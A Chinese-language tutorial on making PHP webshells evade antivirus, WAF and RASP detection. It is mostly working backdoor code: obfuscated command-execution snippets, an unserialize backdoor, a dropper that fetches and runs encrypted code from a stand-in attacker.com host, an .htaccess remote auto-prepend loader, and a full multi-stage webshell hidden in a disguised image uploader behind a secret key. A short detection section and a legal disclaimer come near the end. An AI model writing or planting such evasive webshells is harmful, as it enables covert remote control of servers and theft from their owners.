1. 项目概述:为什么我们需要一本PHP Webshell免杀指南?
如果你是一名渗透测试人员、安全研究员,或者只是对Web安全防御机制感到好奇的开发者,那么“WebShell免杀”这个词对你来说一定不陌生。它就像一个猫鼠游戏:攻击者绞尽脑汁编写能绕过安全软件(如WAF、杀毒软件、主机安全Agent)检测的Webshell,而防御者则不断升级规则,试图将一切可疑的脚本扼杀在摇篮里。我见过太多新手,拿到一个现成的“大马”或“小马”就往目标服务器上扔,结果瞬间触发告警,行动暴露。也见过一些有经验的朋友,尝试拼接几个函数、加个编码就以为能高枕无忧,结果在部署了RASP(运行时应用自我保护)或更高级别EDR(端点检测与响应)的系统面前,依然无所遁形。
这个项目, WebShell-Bypass-Guide ,正是为了解决这个核心痛点而生。它不是教你如何制作破坏性的攻击工具,而是一本从零开始的“生存手册”。它的目标是让你理解,一个PHP脚本是如何被安全设备识别为Webshell的,以及我们如何通过深入理解PHP语言特性和安全产品的检测逻辑,来编写出既能实现管理功能,又能“隐身”的脚本。这背后是对PHP解释器、Zend引擎、安全产品扫描原理的深度博弈。掌握它,你不仅能提升在授权渗透测试中的隐蔽性,更能从攻击者的视角深刻理解防御体系的薄弱环节,从而更好地加固你自己的系统。无论你是想深入Web安全领域,还是作为开发人员想了解如何编写更安全的代码以避免误报,这份指南都提供了绝佳的视角。
2. 核心思路拆解:免杀的本质是“特征”的博弈
在深入具体技术之前,我们必须建立一个正确的认知框架:免杀不是魔法,而是一场关于“特征”的精确博弈。安全产品检测Webshell,无论是基于静态特征码、动态行为,还是语义分析,都是在寻找“特征”。
2.1 安全产品的检测维度
我们可以将常见的检测手段分为三个层面,理解它们是设计免杀方案的前提:
-
静态检测 :这是最基础、最广泛的一层。杀毒软件、WAF、部分主机安全Agent会扫描文件内容,寻找已知的恶意字符串(特征码)、可疑的函数组合(如
eval($_POST[‘cmd’]))、固定的代码结构或哈希值。它的优点是速度快,覆盖广;缺点是容易被变形、编码绕过。 -
动态/行为检测 :更高级的检测方式。它不关心代码长什么样,而关心代码 运行时做了什么 。例如,RASP会监控PHP解释器的执行流程,如果发现一个来自HTTP请求的参数,未经任何过滤就直接传入
system()、shell_exec()或eval()函数,就会立即告警或阻断。它也会监控文件读写、网络连接等敏感操作。 -
语义/语法树检测 :这是目前比较前沿的检测方式。安全产品会解析PHP代码,生成抽象语法树(AST),然后分析代码的逻辑结构。即使你使用了再复杂的编码和字符串拼接,只要最终生成的AST结构与恶意样本一致,就可能会被检测到。它能有效对抗简单的字符串变换。
2.2 免杀设计的核心策略
对应上述检测方式,我们的免杀策略也分为三层:
- 对抗静态检测 :目标是消除或混淆代码中的“硬特征”。核心手法包括:字符串编码与加密、函数名/变量名混淆、代码结构变形(如利用PHP语法特性拆分关键语句)、使用冷门或无害外观的函数实现恶意功能。
-
对抗动态检测
:目标是让代码的“行为”看起来正常,或者将敏感行为延迟、条件化触发。核心思路包括:避免直接执行危险函数、利用PHP内置功能间接实现命令执行(如
pcntl_exec配合php://input)、将恶意代码伪装成正常的业务逻辑(如图片处理、数据缓存)。 -
对抗语义检测
:这是最难的环节。需要从根本上改变代码的语法树结构。常用方法有:使用面向对象编程(OOP)将恶意逻辑封装在类和方法中、利用PHP的魔术方法(如
__destruct,__wakeup)在对象生命周期中触发、编写完全符合正常代码格式和风格的“模板化”Webshell。
重要认知 :没有一劳永逸的免杀方案。所有技术都有时效性。本指南的价值在于传授 方法论 和 思考模型 ,让你能够根据目标环境的具体情况(如PHP版本、已安装扩展、安全产品类型)灵活组合和创造新的绕过手法。
3. 环境准备与基础概念
在开始“造轮子”之前,我们需要一个安全、隔离的实验环境。 严禁在未经授权的任何生产或测试环境进行相关实验。
3.1 实验环境搭建
我推荐使用 Docker 快速搭建一个包含多种安全组件的 PHP 测试环境,这能模拟真实场景。
# docker-compose.yml 示例
version: '3.8'
services:
web:
image: php:8.1-apache
container_name: php-webshell-test
ports:
- "8080:80"
volumes:
- ./www:/var/www/html # 将本地www目录挂载为网站根目录
- ./php.ini:/usr/local/etc/php/php.ini # 自定义php配置,可关闭某些危险函数
environment:
- APACHE_RUN_USER=www-data
- APACHE_RUN_GROUP=www-data
同时,你可以在宿主机上安装一些开源的安全扫描工具,用于验证你的Webshell是否免杀:
- ClamAV :经典的开源杀毒引擎,可用于测试静态特征。
- PHP Malware Finder (PMF) :专门用于查找PHP Webshell和恶意代码的静态分析工具。
- 自定义YARA规则 :学习编写YARA规则来模拟WAF的静态检测逻辑。
3.2 PHP Webshell 的“元凶”函数
理解哪些函数是敏感的是第一步。以下是一个不完全列表,安全产品会重点监控这些函数的调用上下文:
-
代码执行类
:
eval(),assert()(PHP < 7.1),create_function()(已废弃),preg_replace()配合/e修饰符(已废弃)。 -
命令执行类
:
system(),exec(),shell_exec(),passthru(),proc_open(),pcntl_exec()。 -
文件操作类
:
file_put_contents(),fwrite(), 特别是用于写入.php文件时。 -
回调函数类
:
call_user_func(),call_user_func_array(),array_map()等,当回调参数可控时极其危险。 -
反序列化
:
unserialize(), 这是近年来最主流的漏洞利用和Webshell植入入口之一。
实操心得 :在测试时,可以先在
php.ini中用disable_functions禁用掉system,exec等函数,模拟严格的安全配置。然后你的免杀Webshell就需要寻找其他未被禁用的路径来实现相同功能,这能极大提升你的技巧。
4. 初级免杀:对抗静态特征扫描
这是入门的第一步,目标是绕过ClamAV、传统杀软和基础WAF规则。
4.1 字符串编码与变形
直接出现
$_POST[‘cmd’]
和
system
是自杀行为。我们需要将其拆散、编码。
方法一:Base64与Hex编码 这是最简单的方法,但也是规则库中最常见的特征,需要结合其他技巧使用。
// 过于简单,易被检测
$code = base64_decode('c3lzdGVtKCRfR0VUWydjbWQnXSk7');
eval($code);
// 稍好一点:多层编码+变量拆分
$part1 = "c3lzdGVt";
$part2 = "KCRfR0VU";
$part3 = "WydjbWQnXSk7";
$func = base64_decode($part1 . $part2 . $part3);
$cmd = $_GET['a']; // 参数名也伪装
$func($cmd);
方法二:利用PHP字符串解析特性
PHP的字符串可以用花括号
{}
包含变量,也可以用
.
连接,甚至可以用数组索引形式取出字符。
// 拼接出 system 函数名
$f = 's'.'y'.'s'.'t'.'e'.'m';
$cmd = $_REQUEST['id']; // 使用REQUEST更隐蔽
$f($cmd);
// 使用数组存储字符,然后implode
$charArray = array('a','s','s','e','r','t');
$funcName = implode('', $charArray); // 得到 ‘assert’
$funcName($_POST['data']);
4.2 函数名动态调用与变量函数
PHP支持用变量来保存函数名,然后像调用函数一样调用这个变量。这能有效拆散“函数名+括号”的固定模式。
// 动态函数名调用
$action = $_GET['action'];
if (function_exists($action)) {
$action($_GET['param']); // 如果action=‘phpinfo’,则执行phpinfo()
}
// 更隐蔽:通过类方法调用
class Helper {
public static function run($cmd) {
system($cmd);
}
}
$class = 'Helper';
$method = 'run';
$class::$method($_GET['c']);
4.3 利用PHP标签的另类写法
除了
<?php ?>
,PHP还支持一些其他标签,有时可以绕过简单的正则匹配。
<script language="php">
echo `whoami`; // 反引号执行命令
</script>
<?=
`$_GET[cmd]`; // 短标签,等同于 <?php echo ... ?>
?>
注意事项 :
<script language=“php”>标签在PHP7中已被移除。短标签<?=在PHP5.4以后始终可用,但short_open_tag配置会影响<?的使用。这些方法在现代WAF面前基本无效,但可能对付一些老旧或配置不当的系统。
5. 中级免杀:对抗动态行为与简单语义分析
当静态特征被抹去后,我们需要面对RASP和更智能的静态分析器。关键在于“行为脱敏”和“逻辑隐藏”。
5.1 分离Webshell的逻辑与载体
一个高级的Webshell通常由两部分组成:
- 载体(Dropper) :一段看起来人畜无害的代码,被上传到服务器。它的唯一作用是在特定条件下,从远程服务器或自身内部解码/还原出真正的恶意代码,并写入一个新文件。
- 木马(Stager/Payload) :被还原出来的真正功能完整的Webshell,其路径和文件名往往不固定,且内容可能被加密。
// 示例:一个简单的图片马载体(Dropper)
// 文件名为:logo.jpg.php (利用Apache解析漏洞或误传)
$key = "secret_key_123";
$encryptedPayload = file_get_contents("https://attacker.com/payload.enc"); // 远程获取加密载荷
$realCode = openssl_decrypt($encryptedPayload, 'AES-128-ECB', $key);
file_put_contents('/tmp/.cache_'.md5(time()).'.php', $realCode); // 写入临时文件
include('/tmp/.cache_'.md5(time()).'.php'); // 包含执行
这种方法能绕过对固定文件内容的扫描。安全产品扫描
logo.jpg.php
时,只看到一段下载解密代码,没有直接恶意特征。而真正的恶意代码在临时文件中,生命周期短,路径随机。
5.2 利用PHP内置协议与包装器
PHP的
php://
协议和
data://
协议是强大的工具,但也常被用于免杀。
php://input
读取POST原始数据
:
这是绕过
$_POST
检测的经典方法。WAF可能检查
$_POST
/
$_GET
,但
php://input
读取的是原始的HTTP请求体。
// 传统方式,易检测
eval($_POST['code']);
// 使用 php://input
$code = file_get_contents('php://input');
eval($code);
在请求时,需要将POST的
Content-Type
设置为非
application/x-www-form-urlencoded
(如
text/plain
),并将代码直接放在请求体中。
data://
协议直接执行代码
:
允许在URI中嵌入Base64编码的数据。
$include = $_GET['page'];
include($include);
// 攻击者访问:?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
// 解码后是 <?php system(‘whoami’);?>
重要提示 :
allow_url_include选项必须为On,这在现代PHP默认配置中是关闭的,因此实战中利用条件苛刻。但它是一种需要知道的思路。
5.3 回调函数与数组映射的妙用
array_map
,
array_filter
,
array_walk
等函数,如果其回调参数可控,可以成为执行代码的跳板。
// 利用 array_map 执行命令
$cmd = 'whoami';
array_map('system', array($cmd)); // 相当于 system($cmd);
// 利用 call_user_func
$func = 'system';
$arg = $_GET['cmd'];
call_user_func($func, $arg);
// 更隐蔽的变种:通过注册终止函数
function shutdown() {
system($_GET['c']);
}
register_shutdown_function('shutdown');
// 脚本正常结束或出错时,shutdown函数会被调用
6. 高级免杀:面向对象、反序列化与无文件攻击
这一层旨在对抗深度语义分析和内存扫描,追求“无文件”或“内存马”效果。
6.1 基于类的Webshell封装
将恶意逻辑封装在类的构造函数、析构函数或魔术方法中,可以使代码结构看起来像正常的库文件或框架组件。
// 伪装成一个“配置类”或“工具类”
class ConfigManager {
private $config = [];
public function __construct($data) {
$this->config = json_decode($data, true);
}
public function __destruct() {
// 析构函数在对象销毁时自动调用
if (isset($this->config['run']) && $this->config['run'] === 'true') {
@system($this->config['command']);
}
}
public function get($key) {
return $this->config[$key] ?? null;
}
}
// 使用方式:通过POST传递序列化后的对象数据
$data = $_POST['data'] ?? '';
if ($data) {
$manager = unserialize(base64_decode($data));
// 对象使用后销毁,触发 __destruct
}
攻击者可以构造一个序列化字符串,其中
config[‘run’]=‘true’
且
config[‘command’]=‘whoami’
,然后Base64编码后通过
data
参数传入。扫描器看到的是一个有合理类结构的文件,很难判定其恶意。
6.2 PHP反序列化漏洞利用链(POP Chain)
这是当前最主流的高级攻击方式。它不直接包含恶意代码,而是利用目标PHP应用已有的类库中的魔术方法(如
__wakeup
,
__destruct
,
__toString
),通过精心构造的序列化字符串,将这些原本无害的方法“链式”调用起来,最终达到执行命令的目的。
例如,一个类
FileHandler
的
__destruct
方法会删除
$this->filename
,而另一个类
Logger
的
__toString
方法会执行
system($this->msg)
。攻击者可以构造一个序列化对象,使
FileHandler->filename
是一个
Logger
对象。当反序列化后对象销毁时,会先调用
FileHandler->__destruct
,其中操作
filename
(即
Logger
对象)会触发
Logger->__toString
,从而执行命令。
免杀价值
:Webshell本身只是一段触发反序列化的“启动器”(gadget),所有恶意逻辑都依赖于目标环境已存在的类(在框架如Laravel、ThinkPHP,或库如Monolog、Guzzle中)。这使得Webshell文件本身的特征极弱,甚至只是一个
unserialize($_POST[‘data’])
。防御的重点从检测Webshell文件,转移到了修复应用本身的反序列化漏洞和危险的魔术方法上。
6.3 无文件Webshell(内存马)
这是免杀的终极形态之一。不向磁盘写入任何
.php
文件,而是通过注入代码到正在运行的PHP进程内存中来实现持久化。
实现思路之一:利用
.htaccess
或
php.ini
自动加载
-
上传一个自定义的
.htaccess文件,使用php_value auto_prepend_file指令,指定一个远程或本地加密的脚本。 -
该脚本会在每个PHP文件执行前自动运行,将真正的Webshell代码通过
eval注入到内存中。 - 后续访问任何该目录下的PHP文件(甚至不存在的文件,如果配置了错误处理),都会触发内存中的Webshell。
# .htaccess 示例
<FilesMatch "\.(jpg|png|gif)$">
SetHandler application/x-httpd-php
php_value auto_prepend_file "https://attacker.com/loader.txt"
</FilesMatch>
loader.txt
的内容是一段经过编码的PHP代码,用于在内存中定义后门函数。
实现思路之二:修改PHP扩展或劫持内置函数
难度极高,需要服务器权限。通过加载恶意的PHP扩展(
.so
或
.dll
),或利用
LD_PRELOAD
等环境变量劫持,从更底层实现命令执行。这已超出普通Webshell范畴,属于Rootkit。
高级心得 :无文件Webshell的检测极其困难,通常需要监控PHP-FPM或Apache进程的内存、检查异常的
auto_prepend_file配置、或使用行为监控发现持续存在的异常eval调用。对于防御方,严格控制上传目录的执行权限、禁用不必要的PHP配置(如allow_url_include)、定期审计.htaccess和php.ini是关键。
7. 实战案例:打造一个多级加密的隐藏Webshell
让我们综合运用以上技术,手把手构建一个相对健壮的免杀Webshell。这个例子将包含载体、多级解码和简单的动态行为隐藏。
第1层:上传载体(uploader.php) 这个文件看起来像一个普通的文件上传检查脚本。
<?php
// uploader.php - 伪装的上传处理器
if (isset($_FILES['file'])) {
$uploadDir = './uploads/';
$filename = basename($_FILES['file']['name']);
$targetFile = $uploadDir . uniqid('img_') . '_' . $filename;
// 检查文件类型(伪装)
$fileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));
$allowedTypes = ['jpg', 'jpeg', 'png', 'gif'];
if (in_array($fileType, $allowedTypes)) {
if (move_uploaded_file($_FILES['file']['tmp_name'], $targetFile)) {
echo "文件上传成功: " . htmlspecialchars($filename);
// 第2层:隐藏在图片中的加密代码
$key = md5(__FILE__ . date('Y-m-d')); // 基于文件路径和日期的动态密钥
$encryptedCode = extractAndDecrypt($targetFile, $key); // 假设这是从图片中提取并解密的函数
if ($encryptedCode) {
// 第3层:写入并包含临时Webshell
$tempFile = '/tmp/' . md5($key) . '.cache';
file_put_contents($tempFile, '<?php ' . $encryptedCode . ' ?>');
include($tempFile);
// 可选:使用后删除临时文件 unlink($tempFile);
}
} else {
echo "文件移动失败。";
}
} else {
echo "只允许上传图片文件。";
}
}
function extractAndDecrypt($imagePath, $key) {
// 模拟从图片末尾读取附加的加密数据
$content = file_get_contents($imagePath);
// 简单模拟:假设最后500字节是加密的Base64数据
$encryptedBase64 = substr($content, -500);
$encrypted = base64_decode($encryptedBase64);
// 使用简单的XOR解密(仅示例,实际应用更强加密)
$decrypted = '';
for ($i = 0; $i < strlen($encrypted); $i++) {
$decrypted .= $encrypted[$i] ^ $key[$i % strlen($key)];
}
// 检查解密后的数据是否有PHP标签标记
if (strpos($decrypted, '<?php') !== false) {
return $decrypted;
}
return false;
}
?>
<form action="" method="post" enctype="multipart/form-data">
选择图片上传:<input type="file" name="file">
<input type="submit" value="上传">
</form>
第2层:加密的Webshell载荷 我们有一个真正的功能Webshell,经过加密后附加到一张正常图片的末尾。
<?php
// 真实Webshell功能 (shell.php)
class PluginSystem {
private $command;
public function __construct($cmd) {
$this->command = $cmd;
$this->run();
}
private function run() {
if (isset($_GET['debug'])) {
highlight_file(__FILE__);
exit;
}
$action = $_REQUEST['act'] ?? 'info';
switch ($action) {
case 'cmd':
$this->executeCommand();
break;
case 'upload':
$this->uploadFile();
break;
default:
$this->showInfo();
}
}
private function executeCommand() {
$cmd = $_REQUEST['c'] ?? 'whoami';
// 使用多种方式尝试执行命令,增加兼容性
if (function_exists('shell_exec')) {
echo '<pre>' . shell_exec($cmd) . '</pre>';
} elseif (function_exists('system')) {
system($cmd);
} elseif (function_exists('passthru')) {
passthru($cmd);
} else {
echo 'Command execution not available.';
}
}
private function uploadFile() { /* ... 文件上传功能 ... */ }
private function showInfo() { /* ... 显示服务器信息 ... */ }
}
// 入口点,通过特定参数触发
if (isset($_REQUEST['pluginkey']) && $_REQUEST['pluginkey'] === 'S3cr3tK3y2024') {
$cmd = $_REQUEST['plugincmd'] ?? '';
new PluginSystem($cmd);
}
?>
将
shell.php
的内容用上面
uploader.php
中的
extractAndDecrypt
函数对应的加密方法(示例是XOR)进行加密,然后Base64编码,追加到一张JPG图片的二进制末尾。
工作流程 :
-
攻击者将包含加密载荷的图片上传至
uploader.php。 -
uploader.php验证图片格式,保存文件。 -
触发
extractAndDecrypt函数,从图片末尾提取加密数据,用动态生成的密钥解密。 - 解密得到真实的Webshell代码,写入一个临时缓存文件(路径随机)。
-
include这个临时文件,内存中加载PluginSystem类。 -
攻击者通过访问
uploader.php?pluginkey=S3cr3tK3y2024&act=cmd&c=whoami来执行命令。此时,恶意逻辑已驻留在uploader.php的执行上下文中,而磁盘上只有图片和一个临时缓存文件(可自删除)。
这个案例融合了:
- 静态绕过 :载体文件像正常上传脚本;真实代码被加密并隐藏在图片中。
-
动态触发
:恶意功能需要特定参数
pluginkey才能激活,平时不执行。 -
内存执行
:核心逻辑通过
include临时文件加载到内存,不留下明显的持久化文件。
8. 检测与防御视角:如何发现这样的Webshell?
作为防御者,了解攻击手法后,我们可以制定更有针对性的策略:
-
静态检测增强 :
- 熵值分析 :加密或高度编码的数据通常具有高熵值(混乱度)。检测文件中是否存在高熵的字符串片段。
-
AST语法树分析
:不仅看字符串,还要分析代码结构。即使
system被拆成‘s’.‘y’.‘s’.‘t’.‘e’.‘m’,在AST生成后,它仍然是一个CallExpression,调用的函数名可以通过数据流分析确定为system。 -
敏感函数调用链分析
:追踪用户输入(如
$_GET,$_POST)是否经过一系列处理后,最终流入了危险函数(如eval,system)。这是对抗混淆的核心。
-
动态/行为监控 :
-
RASP(运行时应用自我保护)
:在PHP解释器层面挂钩(Hook)所有敏感函数(
eval,system,file_put_contents等)。当这些函数被调用时,RASP会检查调用栈(Backtrace),看是否来自Web请求入口,以及参数是否包含未经验证的用户输入。它能有效阻断上述大多数技巧。 -
进程行为监控
:监控PHP进程是否产生了异常的子进程(如
sh,cmd,bash),是否建立了异常的网络连接。
-
RASP(运行时应用自我保护)
:在PHP解释器层面挂钩(Hook)所有敏感函数(
-
文件系统与配置监控 :
-
监控临时目录的PHP文件创建
:
/tmp/,/var/tmp/目录下出现.php或.cache文件是高度可疑的。 -
监控
.htaccess和php.ini的修改 :任何对这两个文件的写操作都应产生告警。 -
文件完整性监控(HIDS)
:对网站根目录的关键文件(如
index.php, 配置文件)建立哈希基线,任何未授权的修改都会告警。
-
监控临时目录的PHP文件创建
:
-
网络层与日志分析 :
- WAF规则更新 :不仅匹配简单特征,更要编写能识别编码解码流程、动态函数调用模式的规则。
- 访问日志分析 :寻找异常模式,例如:频繁访问同一文件但参数不同、访问不存在的文件返回200状态码、上传目录的PHP文件被直接访问等。
9. 常见问题与排查技巧实录
在实际研究和测试免杀技术时,你肯定会遇到各种问题。以下是我踩过的一些坑和解决方案:
问题1:Webshell上传成功,但访问时返回500错误或空白页。
-
排查思路
:
-
检查语法错误
:这是最常见的原因。尤其是经过复杂编码拼接后,很容易丢失分号、括号不匹配。使用
php -l your_shell.php命令进行语法检查。 -
检查PHP配置
:
disable_functions是否禁用了你需要的函数?open_basedir是否限制了目录?查看phpinfo()或错误日志。 -
检查编码问题
:如果使用了
base64_decode或自定义解密,确保解密后的字符串是有效的PHP代码。可以在解密后先用echo $decryptedCode; exit;输出看看。 -
检查错误报告
:在脚本开头加入
error_reporting(E_ALL); ini_set(‘display_errors’, 1);来显示所有错误。
-
检查语法错误
:这是最常见的原因。尤其是经过复杂编码拼接后,很容易丢失分号、括号不匹配。使用
问题2:免杀Webshell在本地测试成功,但上传到目标服务器后被秒杀。
-
排查思路
:
- 目标环境差异 :PHP版本不同(如5.x vs 7.x vs 8.x),某些函数或特性可能不可用。你的服务器可能装了X扩展,目标没有。
- 安全软件不同 :你本地可能只装了杀毒软件,而目标服务器可能有WAF、RASP、HIDS等多层防护。你需要了解目标可能部署的产品,并针对性地测试。例如,对抗Cloudflare WAF和对抗阿里云云盾的策略有所不同。
- 特征已入库 :你使用的免杀手法可能已经公开,并被收录到病毒库或WAF规则库中。尝试更新你的混淆方法,或结合多种手法。
问题3:使用
php://input
或
data://
协议时无效。
-
原因与解决
:
-
allow_url_include必须为On。在php.ini中检查。现代PHP默认是Off,因此实战中很少能直接利用。 -
php://input读取的是原始POST体。确保你的HTTP请求的Content-Type不是application/x-www-form-urlencoded或multipart/form-data,最好是text/plain。并且数据要放在请求体(Body)中,而不是URL参数。 -
某些WAF会专门检测
php://和data://这些协议字符串本身。
-
问题4:反序列化Payload构造复杂,容易出错。
-
技巧
:
- 使用成熟的工具辅助生成,例如 PHPGGC(PHP Generic Gadget Chains),它集成了多种流行框架和库的反序列化利用链。
- 在本地搭建与目标相同版本的环境(包括PHP版本和框架/库版本)进行测试。
- 仔细处理字符编码和转义问题,特别是当Payload需要通过URL传递时,要正确进行URL编码。
问题5:如何测试Webshell的免杀效果?
-
推荐流程
:
-
本地静态扫描
:使用 ClamAV (
clamscan)、PHP Malware Finder 扫描你的文件。 - 在线多引擎扫描 :将你的Webshell代码压缩加密后,提交到 VirusTotal(注意隐私风险)或一些专门的多引擎Webshell扫描平台。
- 动态沙箱测试 :如果有条件,在安装了常见主机安全Agent(如云锁、安全狗、D盾等)的虚拟机中上传并访问测试,观察是否触发告警。
- 自定义规则测试 :自己编写简单的YARA规则或正则表达式,尝试匹配你的Webshell,以理解静态检测的原理。
-
本地静态扫描
:使用 ClamAV (
最后,我必须再次强调,所有这些技术知识都应仅用于 授权的安全测试、教育培训和个人学习 。未经授权使用Webshell攻击他人系统是违法行为。真正的安全高手,是那些既能洞悉攻击之道,更能铸就坚实防御之盾的人。希望这份指南能帮助你更深入地理解PHP应用安全的攻防本质,在合法的道路上不断提升自己的技能。

227

被折叠的 条评论
为什么被折叠?



